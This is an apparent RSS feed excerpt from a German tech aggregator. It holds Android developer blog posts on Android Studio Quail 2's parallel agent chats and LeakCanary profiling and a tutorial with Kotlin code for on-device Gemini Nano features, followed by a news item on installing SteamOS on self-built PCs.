<p>Thank you again to everyone who participated in our Android developer preview and beta program. We're looking forward to seeing how your apps take advantage of the updates in Android 17, and have plans to bring you updates in a fast-paced release cadence going forward.</p>
<p>For complete information on Android 17 please visit the <a href="https://developer.android.com/about/versions/17">Android 17 developer site</a>.</p><br><br>]]></content:encoded>
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<title><![CDATA[Android Studio Quail 2 is Stable: Multi-task with the Android Studio AI agent]]></title>
<description><![CDATA[Posted by Amman Asfaw, Product Manager, Android Studio

Android Studio Quail 2 is now stable and ready for you to use in production, bringing a shift to your IDE with concurrent agentic workflows, natively integrated memory leak profiling, and context-aware crash remediation. Whether you are perf...]]></description>
<link>https://tsecurity.de/de/3693500/android-tipps/android-studio-quail-2-is-stable-multi-task-with-the-android-studio-ai-agent/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693500/android-tipps/android-studio-quail-2-is-stable-multi-task-with-the-android-studio-ai-agent/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:29 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitwUFdkGaqVNsaJ2iCtprD4WZuFjvI1rR6WX35ewxin0wbtVadUtkRb3qYG-KGEKepmtC4WFv2mSAmUBRmZ-oR5ey_-codg1_MhbagflhqgWk2MdNX6-yL8SaADve6mn3v0aJ_uh-qLizIgdImHaQ_KdJfVYqvCga_v_fyJYPHKDyhuhVklAfo145xays/s2461/QuailBlog_Meta.png"><p>Posted by Amman Asfaw, Product Manager, Android Studio</p><p></p><p></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-nTZM4cgutSVcLIdjSDqJoeiaES_FELwFC84O01Roy0P81-mAyqz3X2w4pwzAZwdhiMeUuhRSyT4euWZkWtGderw6LRu-fK6k-w8lB-9k7GMXOFBy0IzgtGmUk6QkRriFX24lchlTD0SQhbywxli4p4iZ7JzMAN80YoCdruEeruJ58bwhmuo0cj9Y_yg/s2152/QuailMovement_V1_a.gif"><img border="0" data-original-height="608" data-original-width="2152" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-nTZM4cgutSVcLIdjSDqJoeiaES_FELwFC84O01Roy0P81-mAyqz3X2w4pwzAZwdhiMeUuhRSyT4euWZkWtGderw6LRu-fK6k-w8lB-9k7GMXOFBy0IzgtGmUk6QkRriFX24lchlTD0SQhbywxli4p4iZ7JzMAN80YoCdruEeruJ58bwhmuo0cj9Y_yg/s1600/QuailMovement_V1_a.gif"></a></div><br><p></p><p><br></p><p><br></p><p><br></p>

<p>Android Studio Quail 2 is now stable and ready for you to use in production, bringing a shift to your IDE with concurrent agentic workflows, natively integrated memory leak profiling, and context-aware crash remediation. Whether you are performing a sweeping architectural overhaul, tracing a memory leak, or resolving a critical production crash, Android Studio keeps you anchored in your workspace by reducing manual friction.</p>
<p>Here’s a deep dive into what’s new:</p>
<h2>Multi-tasking with parallel chats</h2>

<p>In Android Studio Quail 2, we've been hard at work redesigning Agent Mode from the ground up. This new architecture provides better performance, offers more flexibility for decomposing complex tasks, and improves the suite of internal tools the agent uses to do its work.</p>In addition to these behind-the-scenes improvements, these changes also allow you to converse across multiple agent chats simultaneously. Waiting for the Android Studio agent to finish a task before you can ask another question or initiate a separate task in Agent Mode is a bottleneck of the past. You can multi-task seamlessly: kick off a UI refactor in one tab, fix a ProGuard rule in a second, and generate documentation in a third.<br><br> You can also change which models the agent uses from chat to chat based on the requests you have. Take a look at <a href="http://d.android.com/bench">Android Bench</a> for an analysis of how LLMs perform Android development tasks. 

<p></p><ul><li><strong>How to use:</strong> Click the "+" icon to start a new parallel conversation, and use the <b>History</b> icon to navigate between active tasks. Alternatively, select File &gt; New &gt; New Agent Tab to open a conversation in a dedicated tab.</li><li><strong>Note:</strong> Worktree support is currently unavailable. Exercise caution when running concurrent chats that modify the same project files, which can potentially lead to editor conflicts.</li></ul><p></p>

<div class="separator">
  
</div>

<p><i>Run multiple agent tasks in parallel with different models of your choice.</i></p><p></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwUDucsd939pAvvfRC8VvmNkDp-1nDBMaP3TGFwdjspFgPz7_CVS-7NVzNhP278oKO3MNJL0RZy3k9aCZgmVtuqsahIZh79bGXhB026yKqPPiMYVMFkkSUgTBSLLajNObkMkke_iF6i_cIMRRQ_5Zl8zLgXWKYItToSiyLaZfok-pd-KVkAkRfup_yCsI/s3456/Screenshot%202026-06-17%20at%2012.56.57%E2%80%AFAM.png"><img border="0" data-original-height="2044" data-original-width="3456" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwUDucsd939pAvvfRC8VvmNkDp-1nDBMaP3TGFwdjspFgPz7_CVS-7NVzNhP278oKO3MNJL0RZy3k9aCZgmVtuqsahIZh79bGXhB026yKqPPiMYVMFkkSUgTBSLLajNObkMkke_iF6i_cIMRRQ_5Zl8zLgXWKYItToSiyLaZfok-pd-KVkAkRfup_yCsI/s1600/Screenshot%202026-06-17%20at%2012.56.57%E2%80%AFAM.png"></a></div><span><div><i>Use the History icon to navigate between active tasks.</i></div></span><p></p>

<h2>Memory leak detection with LeakCanary</h2>

<p>Memory leaks in Android occur when your code holds onto an object's reference long after its life cycle has ended. This prevents the Garbage Collector from reclaiming that memory, eventually leading to sluggish performance or <code>OutOfMemoryError</code>.</p>

<p>Hunting down memory leaks can be a tedious, manual task. Starting with Android Studio Quail 2, the popular open-source leak detector <a href="https://square.github.io/leakcanary/">LeakCanary</a> is natively integrated directly into the Profiler as a dedicated, first-class task.</p>

<p>This integration transforms your debugging performance by lifting and shifting the heap analysis off your resource-constrained testing phone, and onto your powerful development computer. By running the analysis on your computer, leak tracing is up to five times faster and jank-free, leaving your test app running smoothly on the device.</p>

<p>Once a leak is detected during a profiling session:</p>
<ul>
  <li>The Profiler renders an interactive, color-coded leak trace, grouping occurrences and estimating lost memory.</li>
  <li>You can click <b>Go to declaration</b> on any leaking object in the trace to instantly jump to that exact line of code in your editor.</li>
  <li>You can click <b>Fix with Agent</b> to have the Gemini agent ingest the trace, explain the root cause of the retained reference, and write the exact code change (such as unbinding a listener or clearing a static reference) to plug the leak.</li>
</ul>

<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjwBONeahZYC_5KBtkgQkc5vTjzmN5D-ypyOOScCRcp6Cy8CZeNHVWeNViBS6D_we7HaRy_AjIg1tptZAVEqNTeQ4IVVjoQp4_XJp45648fhiD0H5qvNmiPphikYGDNbEyus-QTVkSU9imwJm4QN0CKnWFs6JZsVkC21SXl9LXAnSndereOvE6iDWOmsEo/s1250/Leak_Canary_4e3675ccb2_ZXI2sE.webp"><img border="0" data-original-height="640" data-original-width="1250" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjwBONeahZYC_5KBtkgQkc5vTjzmN5D-ypyOOScCRcp6Cy8CZeNHVWeNViBS6D_we7HaRy_AjIg1tptZAVEqNTeQ4IVVjoQp4_XJp45648fhiD0H5qvNmiPphikYGDNbEyus-QTVkSU9imwJm4QN0CKnWFs6JZsVkC21SXl9LXAnSndereOvE6iDWOmsEo/s1600/Leak_Canary_4e3675ccb2_ZXI2sE.webp"></a><span><i>Review memory leaks identified via LeakCanary through the Fix with Agent button.</i></span></div>

<h2>App Quality Insights agent integration</h2>

<p>Tracking down the root cause of an app crash can require manually synthesizing stack traces, device data, and source code. However Android Studio’s App Quality Insights (AQI) is now fully integrated with Agent Mode to do the heavy lifting for you.</p>

<p>When you click on a crash in the AQI panel, you immediately get a concise, high-level summary of the issue. If you need to dig deeper, simply click <b>See more</b>. This opens a dedicated chat where the agent uses your selected model and pulls in local source code and the full stack trace to deliver a comprehensive explanation of the failure.</p>

<p>With the new agent integration, you move directly from issue identification to resolution. By clicking <b>Fix with AI</b>, the agent will analyze the issue, propose a step-by-step fix plan, and—upon your approval—apply the necessary code changes directly to your project and verify the resulting fix</p>

<div class="separator">
  
</div><p><i>The <b>Fix with AI</b> button triggering the agent to analyze the issue, then propose the fix</i></p>

<h2>Quality &amp; stability improvements</h2>

<p>Beyond new features, we’ve continued our focus on quality by addressing numerous bugs and incorporating the latest stability and performance improvements from the IntelliJ platform, making this a significant enhancement for your daily development.</p>

<h2>Get Started</h2>

<p>Ready to dive in and accelerate your development? <a href="https://developer.android.com/studio">Download</a> Android Studio Quail 2 and start exploring these new features today! As always, your feedback is crucial to us. <a href="https://developer.android.com/studio/known-issues">Check known issues</a>, <a href="https://developer.android.com/studio/report-bugs">report bugs</a>, and be part of our vibrant community on <a href="https://www.linkedin.com/showcase/androiddev/posts/?feedView=all">LinkedIn</a>, <a href="https://medium.com/androiddevelopers">Medium</a>, <a href="https://www.youtube.com/c/AndroidDevelopers/videos">YouTube</a>, or <a href="https://twitter.com/androidstudio">X</a>. </p>]]></content:encoded>
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<title><![CDATA[Build intelligent Android apps: On-device inference]]></title>
<description><![CDATA[Posted by Caren Chang, Developer Relations Engineer, Android Developer RelationsWelcome back to the blog post series "Build intelligent Android apps" where we take a basic Android app and transform it into a personalized, intelligent, and agentic experience. In our previous post we introduced Jet...]]></description>
<link>https://tsecurity.de/de/3693497/android-tipps/build-intelligent-android-apps-on-device-inference/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693497/android-tipps/build-intelligent-android-apps-on-device-inference/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:25 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhd7g4aJ0ZhzVcuPr3SzBJIVQ_MZT3hIXb1Ff8SVjjrvRjYzZwhgoE7IbHryS6Ds7u7if1_tmVmMdkFNAtPADXoeuRQ_64Pxfnp3oq2aHR8hbS3fDExGxE0nSiOvXPw7SonhNdjFNI2eDJfasEEMs0xjh2gZlyPq6ToimvFlaMv2-nVDz_XLnSXK1iCn4U/s2469/0625%20Building%20JetPacker%20with%20Intelligent%20On-Device%20features_Meta%20v02.png"><div><i>Posted by Caren Chang, Developer Relations Engineer, Android Developer Relations</i></div><div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIU-6haqWEXnugbhG5is8t1TU0tN3EkfSc7GwvHMRsMSU14k-P7q4il_nJlGk-qNP_PG3aKs1LDWNgWKqhFsG6Q16v2zeoHMvqY_PesC5ddxHRjTGgtiQ33uvOrUIPkSdUgFfBIYSkqBhcuZJTY8jbW0mOjKs8XF8DLxfyD7CjJ1Sd4FM7AUrufTnSEVw/s8582/0625%20Building%20JetPacker%20with%20Intelligent%20On-Device%20features_Blog%20v02.png"><img border="0" data-original-height="2601" data-original-width="8582" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIU-6haqWEXnugbhG5is8t1TU0tN3EkfSc7GwvHMRsMSU14k-P7q4il_nJlGk-qNP_PG3aKs1LDWNgWKqhFsG6Q16v2zeoHMvqY_PesC5ddxHRjTGgtiQ33uvOrUIPkSdUgFfBIYSkqBhcuZJTY8jbW0mOjKs8XF8DLxfyD7CjJ1Sd4FM7AUrufTnSEVw/s1600/0625%20Building%20JetPacker%20with%20Intelligent%20On-Device%20features_Blog%20v02.png"></a></div><br><i><br></i><div><i><br></i><p>Welcome back to the blog post series "<a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-introduction-jetpack.html" target="_blank">Build intelligent Android apps</a>" where we take a basic Android app and transform it into a <b>personalized, intelligent, </b>and <b>agentic </b>experience. In our <a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-introduction-jetpack.html" target="_blank">previous post we introduced Jetpacker</a>, the demo app we'll use throughout this series.</p>

<p>In this blog post, we will share how you can use Gemini Nano through <a href="https://developers.google.com/ml-kit/genai/prompt/android">ML Kit’s Prompt API</a> to build intelligent on-device features.</p>
<div>
  
  
</div>

<p>Building intelligent on-device features refers to the ability to process prompts and data directly on a device without sending data to a server. This offers a few advantages:</p>
<ul>
  <li>User data can be processed <b>locally</b> on the device, preserving user privacy</li>
  <li>Functionality of the model is <b>reliable</b> even with spotty or no internet connection</li>
  <li>No additional cloud inference <b>cost</b>, since everything runs on the user’s hardware</li>
</ul>

<p>With the benefits of on-device in mind, we identified three features to add in Jetpacker that can improve the user experience: summarizing trip itineraries, managing expenses, and capturing voice notes.</p>

<h2><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3FDrGSpGJqSapXXQ7052s1NR8rzvmmW-xbyOaAcg8bdTA6ZH7p6ZWE664FjlaoDLfREd-RlQil7gV-VjnCoq76o06haLoSxBzlIDAvM-dKvm_TCgPvqHU3ZlzBTXZ9XtAyMk26QWB8PvU5aUmzO0RBuMxqxJdC1wk7xl_1PXd1KHvuMCeHeAP9zhgSjg/s1848/Screenshot%202026-07-02%20at%2012.57.08%E2%80%AFPM.png"><img border="0" data-original-height="1256" data-original-width="1848" height="434" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3FDrGSpGJqSapXXQ7052s1NR8rzvmmW-xbyOaAcg8bdTA6ZH7p6ZWE664FjlaoDLfREd-RlQil7gV-VjnCoq76o06haLoSxBzlIDAvM-dKvm_TCgPvqHU3ZlzBTXZ9XtAyMk26QWB8PvU5aUmzO0RBuMxqxJdC1wk7xl_1PXd1KHvuMCeHeAP9zhgSjg/w640-h434/Screenshot%202026-07-02%20at%2012.57.08%E2%80%AFPM.png" width="640"></a></div><div><span><span><i>On-device features in Jetpacker: Summarizing trip itineraries, managing expenses, and voice notes</i></span></span></div><div class="separator"><br></div>High quality tailored summarization of short texts</h2>

<p>The itinerary screen gives users a quick overview of all activities for a given trip. Since this screen contains a lot of information, it can quickly become overwhelming. To help users prepare without feeling overwhelmed, we can add a ‘<b>Get ready for your trip</b>’ section at the top.</p>
<p><em></em></p>
<div class="separator"><em><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtWrJplvxl7ymB4kMN_Tg4tYYkL7G1Ory0hSptzqsbw_xCu4I9l_4SQPQ9CUXs_Jc7qtT1KcpltBds0aYgIvXiK_-qp6fnoX3QmYnGyqGgr2d5f2uzQkyMK-_Iebwp9Ap0aJA4c8Pz4Zy01O5AM6kk_qZ4Blx_bY-_2xIxSA8DMva2LWBbCN_Hb_c37KE/s2499/Screenshot_20260702_111934.png"><img border="0" data-original-height="2499" data-original-width="1183" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtWrJplvxl7ymB4kMN_Tg4tYYkL7G1Ory0hSptzqsbw_xCu4I9l_4SQPQ9CUXs_Jc7qtT1KcpltBds0aYgIvXiK_-qp6fnoX3QmYnGyqGgr2d5f2uzQkyMK-_Iebwp9Ap0aJA4c8Pz4Zy01O5AM6kk_qZ4Blx_bY-_2xIxSA8DMva2LWBbCN_Hb_c37KE/w189-h400/Screenshot_20260702_111934.png" width="189"></a></em></div>
<div><span><span><i>The romantic Paris trip is summarized as a classic Parisian adventure blending art, sights, and delicious food. A tip and some useful phrases are also added.</i></span></span></div>
<p></p>

<p>By inputting a trip itinerary and asking an LLM to summarize it, we can generate a quick summary of the trip along with packing tips and useful local phrases. This is a great use case for an on-device model for several reasons:</p>
<ul>
  <li><b>Performance and quality</b>: Both the input and output text are relatively short. With that, we can expect the performance and quality of an on-device solution to be on par with more powerful cloud models.</li>
  <li><b>Scalability</b>: Shifting inference on-device allows us to scale this feature from a few users to millions without worrying about managing increasing cloud inference costs.</li>
  <li><b>Low latency and reliability</b>: On-device inference guarantees low latency, providing a reliable experience even when users are offline.</li>
</ul>

<p>To build with on-device, we use <b>Gemini Nano</b>, Google’s most efficient model optimized for mobile devices. Gemini Nano was first introduced a few years ago, and is now running on over 140 million devices. The latest version of the model, <a href="https://android-developers.googleblog.com/2026/04/AI-Core-Developer-Preview.html">Gemini Nano 4, is built on the architecture foundation of the recently released Gemma 4 model</a>, and is further optimized for maximum battery and performance efficiency.</p>

<p>Using ML Kit’s <b>Prompt API</b>, we can take advantage of Gemini Nano 4’s new model capabilities to prototype our on-device features. We’ll create a prompt that includes the itinerary of a trip and ask the model to generate a summary along with any preparation tips.</p>

<pre><code>// implementation("com.google.mlkit:genai-prompt:1.0.0-beta3") 

// Define the configuration for Gemini Nano 4 E2B preview model
val previewFastConfig = generationConfig {
    modelConfig = modelConfig {
        releaseStage = ModelReleaseStage.PREVIEW
        preference = ModelPreference.FAST
    }
}

val geminiNano2BPreviewModel = Generation.getClient(previewFastConfig)

val tripItinerary = ...

val getReadyForYourTripSummary = geminiNano2BPreviewModel
 .generateContent("Given this trip itinerary: $tripItinerary, 
     generate the following: overall vibe, tips on how to prepare for this
     trip, and common short phrases to learn for the trip.")</code></pre>

<p>Finding the optimal prompt usually requires some iteration, and the AICore app is perfect for this step in the process. After opting into the <a href="https://developers.google.com/ml-kit/genai/aicore-dev-preview">developer preview option for AICore</a>, we can download preview models such as Gemini Nano 4 to test prompts and see the model’s expected outputs. With a few iterations on the prompt, we were able to improve the speed of the response from 13 seconds to under 2 seconds! Check out the final code implementation and prompt <a href="https://github.com/android/ai-samples/blob/40b999ef0e85693eac4de06e58335f0f5f125fa6/jetpacker/android/feature/trip/itinerary/enrichment/src/main/kotlin/com/example/jetpacker/feature/itinerary_enrichment/TripSummaryAndTipsProviderImpl.kt#L100" target="_blank">here</a>.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaY2Q7rzlrAj2i410lc3qqtKwI3m6ufAi27R5S94LVFJKEJPnxmvShIcAWdD_Cx9lhTz9tmKW_DVcmNg0rZFBKpqYj0M9niFJwa-AurlyV2SHuErI7Z9H59Q9S936I4ErUQ_NFRNSJpUBXwDVmw6vKNVpIkBrYPJNUpCIyNXl5Z17x7jEl5Kn9BGgFuLg/s553/Screen%20Recording%202026-07-02%20at%2012.28.51%E2%80%AFPM.gif"><img border="0" data-original-height="553" data-original-width="496" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaY2Q7rzlrAj2i410lc3qqtKwI3m6ufAi27R5S94LVFJKEJPnxmvShIcAWdD_Cx9lhTz9tmKW_DVcmNg0rZFBKpqYj0M9niFJwa-AurlyV2SHuErI7Z9H59Q9S936I4ErUQ_NFRNSJpUBXwDVmw6vKNVpIkBrYPJNUpCIyNXl5Z17x7jEl5Kn9BGgFuLg/w359-h400/Screen%20Recording%202026-07-02%20at%2012.28.51%E2%80%AFPM.gif" width="359"></a></div>

<div><span><span><i>The first iteration of our prompt generated way too many tokens, and optimizing it helped keep responses quick and to the point.</i></span></span></div>

<h2>Local processing for sensitive user input</h2>

<p>Next, to help users enjoy their trip even more, we’ll build a simple expense manager that takes the manual work out of sorting through receipts and calculating budgets.</p>
<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsHCjYJhDefKk1_FHnyB8mXO6XGrVWPrWkkxUikHNrWly2YqLjD8GyN-qGXOBlZCJPug-VbVgBr8awg8I-TEl6d9udKhq_zKem9Xcdb7FzFlA4B77Iko2Rbf8R0XIPB30owcMoh-7KJ1paQnzDrNHSdvwYotNxt166QqJdNAf1d8wEwIFkL9qIEYUKmoQ/s1282/7.13_BlogGif_Transparent.gif"><img border="0" data-original-height="1282" data-original-width="613" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsHCjYJhDefKk1_FHnyB8mXO6XGrVWPrWkkxUikHNrWly2YqLjD8GyN-qGXOBlZCJPug-VbVgBr8awg8I-TEl6d9udKhq_zKem9Xcdb7FzFlA4B77Iko2Rbf8R0XIPB30owcMoh-7KJ1paQnzDrNHSdvwYotNxt166QqJdNAf1d8wEwIFkL9qIEYUKmoQ/w191-h400/7.13_BlogGif_Transparent.gif" width="191"></a></div>
<br>
  
<div><span><span><i>Taking a photo of a restaurant bill, data is parsed and shown in the expense overview screen of the app.</i></span></span></div>

<p>Since receipts might contain sensitive information like credit card number and addresses, this is another great use case for an on-device solution. With on-device, users can be confident that private information will be processed locally on the device without any of their data being sent to the cloud.</p>

<p>In addition, Gemini Nano 4 has improved model capabilities for multimodality, especially for image understanding tasks like OCR and visual data extraction, making it a great solution for tasks like extracting information from receipts.</p>

<p>For this use case, the prompt will analyze an image of the receipt, and output information such as: a generated title, amount spent and category of the expense. To ensure the model outputs the information in the preferred format, we can use <a href="https://developers.google.com/ml-kit/genai/prompt/android/structured-output">ML Kit’s Structured Output API</a> to seamlessly output a Kotlin data object that we define.</p>

<pre><code>// implementation("com.google.mlkit:genai-prompt:1.0.0-beta3")
// ksp("com.google.mlkit:genai-schema-compiler:1.0.0-alpha1")

@Generable("Information extracted from an expense receipt")
data class ParsedReceipt(
  @Guide("Generated title for the expense less than 6 words. Based on restaurant or activity name.")
  val title: String,
  @Guide("Total amount of the expense. Look for values at the bottom and words like total or balance due.")
  val amount: Double,
  @Guide("Type of expense", enumValues = ["travel", "food", "shopping", "entertainment", "other"])
  val category: String,
)

val prompt = "Determine if the image is a receipt or expense. 
    If it is NOT a receipt or expense, output the text 'NOT_A_RECEIPT'.
    Otherwise, parse the receipt information."

val request = generateContentRequest(ImagePart(bitmap), TextPart(prompt)) {}
val requestWithStructuredOutput = generateTypedContentRequest(request, ParsedReceipt::class)

// Define the configuration for Gemini Nano 4 E4B preview model  
// When selecting models, you can specify which performance charactertists are most important
//  for your use case. Use ModelPreference.FULL when you want to prioritize reasoning power over speed. 
//  Use ModelPreference.FAST when complex logic is not required and latency is a priority.
val previewFullConfig = generationConfig {
    modelConfig = modelConfig {
        releaseStage = ModelReleaseStage.PREVIEW
        preference = ModelPreference.FULL
    }
}

val geminiNano4BPreviewModel = Generation.getClient(previewFullConfig)
val response = geminiNano4BPreviewModel.generateContent(requestWithStructuredOutput)
val parsedReceipt: ParsedReceipt? = response.candidates.firstOrNull()?.response</code></pre>

<h2>Multimodal input</h2>

<p>Lastly, to help users record audio memos during the trip, let’s build a fully on-device voice notes feature. Using <a href="https://developers.google.com/ml-kit/genai/speech-recognition/android">ML Kit’s Speech Recognition API</a>, we’ll enable users to record short voice notes that are automatically transcribed to text. With the transcribed text, we’ll use ML Kit’s Prompt API to identify which trip activity is associated with the recorded voice note, letting users easily recap their trip as they scroll through the trip’s itinerary.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjnAm4XPVEJkfPmRFKJWh2sS-4rVz_eFollYxU5DWb7kAkSQdP4xhAEosziS_vpxv6yoAkvHiSp6SGYOp2_qp_cJWgfbJGnDOadaMP6Bc30a6rYnSP34sEubNAWXqsmd3cpYOoL8rCUhQn0_4GT3165aSFinlnHZjVnXYNYBAw8AdVtJpuRG2gDbi-uRII/s2499/Screenshot_20260702_115529.png"><img border="0" data-original-height="2499" data-original-width="1183" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjnAm4XPVEJkfPmRFKJWh2sS-4rVz_eFollYxU5DWb7kAkSQdP4xhAEosziS_vpxv6yoAkvHiSp6SGYOp2_qp_cJWgfbJGnDOadaMP6Bc30a6rYnSP34sEubNAWXqsmd3cpYOoL8rCUhQn0_4GT3165aSFinlnHZjVnXYNYBAw8AdVtJpuRG2gDbi-uRII/w189-h400/Screenshot_20260702_115529.png" width="189"></a></div>

<p><em>The Roman holiday itinerary shows voice note extracts.</em></p>

<p>The <a href="https://developers.google.com/ml-kit/genai/speech-recognition/android">ML Kit GenAI Speech Recognition API </a>allows you to transcribe audio content to text fully on-device using two distinct modes. <b>Basic mode</b> uses a traditional on-device speech recognition model and is available on most Android devices with API level 31 and higher. <b>Advanced mode</b> uses Gemini Nano to offer broader language coverage and better quality, and is currently supported on Pixel 10 devices.</p>

<p>For our feature we combine the Speech Recognition API with the ML Kit GenAI Prompt API:</p>

<pre><code>// implementation("com.google.mlkit:genai-prompt:1.0.0-beta3")
// implementation("com.google.mlkit:genai-speech-recognition:1.0.0-alpha1")

val tripEvents = ... 

// Set up speech recognition
val speechRecognizerOptions =
    speechRecognizerOptions {
        locale = Locale.US
        preferredMode = SpeechRecognizerOptions.Mode.MODE_ADVANCED
    }
val speechRecognizer: SpeechRecognizer = SpeechRecognition.getClient(speechRecognizerOptions)

suspend fun transcribeVoiceNote(recognizer: SpeechRecognizer) {
    // Display partial text as the user is recording audio
    var partialTextResponse = ""

    // Display the full text once user is finished recording audio
    var transcription = ""

    val request: SpeechRecognizerRequest
        = speechRecognizerRequest { audioSource = AudioSource.fromMic() }
    recognizer.startRecognition(request).collect { response -&gt;
        when (response) {
            is SpeechRecognizerResponse.PartialTextResponse -&gt; {
                partialTextResponse = response.text
            }
            is SpeechRecognizerResponse.FinalTextResponse -&gt; {
                transcription = response.text
                processAndCategorizeVoiceNote(transcription, tripEvents)
            }
        }
    }
}

fun processAndCategorizeVoiceNote(transcribedVoiceNote: String, events: List<event>) {
    val prompt = "Given the voice note $transcribedVoiceNote
     and the following events for this trip: $events, rewrite this transcription
     to remove filler words. Then, identify which events from the
     list this rewritten transcription matches to."

     // Utilize ML Kit's Prompt API to process voice note and tag it with the relevant trip activities
     Generation.getClient().generateContent(prompt)
}</event></code></pre>

<h2>Conclusion</h2>

<p>Using ML Kit’s GenAI APIs, we were able to take advantage of Gemini Nano to develop fully on-device intelligent features for the JetPacker app, and provide an improved user experience without any additional cloud costs.</p>

<p>Check out the full source code for <a href="https://github.com/android/ai-samples/tree/main/jetpacker" target="_blank">Jetpacker on Github</a>, and watch the video <a href="https://www.youtube.com/watch?v=_iuXykdlTkk">Build Intelligent Android apps with Google’s AI</a> to learn more about how to integrate intelligent features directly into your app using on-device models, cloud-powered reasoning, and the latest agentic frameworks.</p><h2>Learn more</h2>

<p>Check out the other parts of this blog post series:</p><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-introduction-jetpack.html"><b>Part 1:</b></a> Introduction of the app and a high-level overview.<br><a href="http://android-developers.googleblog.com/2026/07/android-on-device-inference.html"><b>Part 2 (this post!):</b></a> On-device intelligence. Deep-dive into ML Kit’s GenAI APIs and Gemini Nano to build privacy-first features like itinerary summarization, receipt parsing, and local audio processing.<br><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-cloud-hybrid-inference.html"><b>Part 3:</b> </a>Hybrid and cloud reasoning. Explore how to use Firebase AI Logic to ground LLM answers in real-world data like Google Maps and web context.<br><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-appfunctions.html"><b>Part 4:</b></a> System integration. Integrating with the Android intelligence system using AppFunctions.<br>Part 5 (coming soon): In-app agentic workflows. Extend the app with an end-to-end booking assistant powered by A2UI and ADK.

<p>Interested in more on Android Development? Follow Android Developers on <a href="https://www.youtube.com/@AndroidDevelopers">YouTube</a> or <a href="https://www.linkedin.com/showcase/androiddev/">LinkedIn</a>!</p>

<p>All code snippets in this blog post follow the following copyright notice:<br>
</p><pre><code>Copyright 2026 Google LLC.
SPDX-License-Identifier: Apache-2.0</code></pre><p></p></div></div>]]></content:encoded>
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<title><![CDATA[Valve Will Finally Let You Build Your Own Steam Machine With SteamOS For Desktop]]></title>
<description><![CDATA[With the price of the new Steam Machine starting at $1,049, you might want to consider making your own Steam Machine instead. An anonymous reader quotes a report from The Verge: Valve says that "starting with the SteamOS 3.8 release, you can put together your own Steam Machine using whatever PC p...]]></description>
<link>https://tsecurity.de/de/3693463/linux-tipps/valve-will-finally-let-you-build-your-own-steam-machine-with-steamos-for-desktop/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693463/linux-tipps/valve-will-finally-let-you-build-your-own-steam-machine-with-steamos-for-desktop/</guid>
<pubDate>Sat, 25 Jul 2026 10:12:56 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[With the price of the new Steam Machine starting at $1,049, you might want to consider making your own Steam Machine instead. An anonymous reader quotes a report from The Verge: Valve says that "starting with the SteamOS 3.8 release, you can put together your own Steam Machine using whatever PC parts you want." SteamOS 3.8.10 launched last week with a slew of updates, including "improved compatibility with recent Intel and AMD platforms." Alongside that improved compatibility, Valve is giving gamers the green light to install SteamOS on their own desktops. In an interview with The Verge, Valve's Pierre-Loup Griffais said Valve has been "rolling out improvements to [SteamOS] so it's more compatible with desktop hardware," including eventual support for Nvidia graphics. Griffais says Valve has "a growing team" working on Nvidia driver support for SteamOS, adding, "We're collaborating with Nvidia very closely." While he mentioned that Nvidia support might not come this year, Griffais emphasized that "it's certainly something that we're working on in the background."
 
It's technically been possible to run SteamOS on your own hardware for a while now, but compatibility has been mostly limited to AMD systems. So far installing it has also required using a Steam Deck recovery image, a process that, speaking from experience, is much less straightforward than the installation process for most other Linux distributions. Trying to run SteamOS on Intel or Nvidia hardware has not been easy so far. According to Griffais, Valve is working to change that, which could mean that down the line, you'll be able to run SteamOS on just about any gaming PC hardware you want, including Nvidia.
 
For the more immediate future, Griffais says SteamOS in its current state should offer a "good experience" on console-like PC setups: "If you have something that is similar to the use case of a Steam Machine, where you have a PC that's gonna be plugged into a TV, and has a single hard drive that you're not going to try and dual boot [] you can put SteamOS on there, and you'll have an experience that is very similar to a Steam Deck docked or a Steam Machine, with some caveats, of course," like a lack of HDMI-CEC support. But "the core bits of the experience are there. The SteamOS graphics driver, the shader precompilation [...] you can get at all of that with the SteamOS." Griffais says SteamOS does not yet offer an easy way to dual-boot alongside Windows or another operating system, but envisions "a time where it's a better experience to install on your desktop and have it coexist with a different operating system."<p></p><div class="share_submission">
